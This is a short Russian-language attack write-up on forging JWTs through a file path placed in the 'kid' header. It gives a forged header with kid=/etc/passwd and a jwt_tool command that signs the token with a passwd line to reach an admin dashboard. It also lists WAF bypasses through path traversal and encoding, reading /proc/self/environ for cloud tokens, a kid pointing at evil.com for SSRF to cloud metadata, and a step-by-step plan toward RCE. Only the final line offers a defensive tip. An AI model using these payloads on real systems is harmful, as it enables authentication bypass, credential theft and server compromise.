JWT (JSON Web Token) придумали как священный грааль авторизации: «вот, у нас всё подписано, всё безопасно». На деле оказалось, что если разработчик рукожоп — подпись превращается из крипты в «cat /etc/passwd через заголовок».
Точка входа
• Что вижу: декодирую JWT и нахожу заголовок с kid
. Сервер жрёт это поле, а потом пытается загрузить ключ для верификации… прямо с файловой системы.
• Как поймал: через jwt_tool (см. jwt_tool token.jwt -C -d
) или вручную подменяю kid
на /etc/passwd
. Сервер послушно юзает содержимое как подписьный ключ.
• Чем пахнет: это 101 уровень — LFI → Signature bypass/RCE. Вероятность пробоя: 8/10.
Че почем
• Эксплойт:
Пробую токен с поддельным kid
, например:
1 2 3 4 5 |
{ "alg": "HS256", "typ": "JWT", "kid": "/etc/passwd" } |
• Потом подписываю токен строкой “root:x:0:0:…” (кусок passwd). Сервер думает: «О! Это мой секретный ключ!» — и верифицирует как валидный.
Токен собирается через:
1 2 |
jwt_tool -T -S hs256 -p "$(head -n 1 /etc/passwd)" -hc kid=/etc/passwd -pc admin -pv true |
• (Вместо head -n 1
можно пихать полный passwd, зависит от сервера.)
• Обход защиты:
Если WAF говорит «нельзя так», кидаешь не прямой /etc/passwd
, а что-то типа ../../../../../../etc/passwd
или file:///etc/passwd
. Иногда URL-энкодинг (%2fetc%2fpasswd
) спасает.
• Доказательство:
Когда сервер принимает мой токен и даёт доступ к «admin dashboard», хотя у меня руками собранный payload со kid=/etc/passwd
— вот он, подарок. Тут даже скриншот не нужен: 200 OK и флаг «Hello, root».
Советы:
• 3 вектора для добивания:
1. Меняй kid
не только на /etc/passwd
, но и на /proc/self/environ
— иногда там токены облачного провайдера.
2. Если сервер читает удалёнки (например, kid=http://evil.com/key.pem
) — считай, у тебя SSRF. В путь /admin/metadata
к AWS.
3. Подсунь свой локальный ключевой файл через writable path (например, /tmp/malekey
) и сам подпиши всё чем хочешь.
• План атаки:
1. Декапсулируем JWT, проверяем alg
, смотрим kid
.
2. Ливаем туда локалку (/etc/passwd
) и пересобираем подпись.
3. Заходим в админку.
4. Если в kid
жрёт URL — деплоим SSRF, добываем AWS/GCP токены.
5. Если сервер даёт записывать файл (загрузка) — подкидываем свой key.pem → пинаем RCE через crafted JWT.
Этот баг — как старая школа: токен вроде святой, а дырка такая, что можно в ОВХ целый дождь пролить. Проверяй все kid
, не доверяй ФС.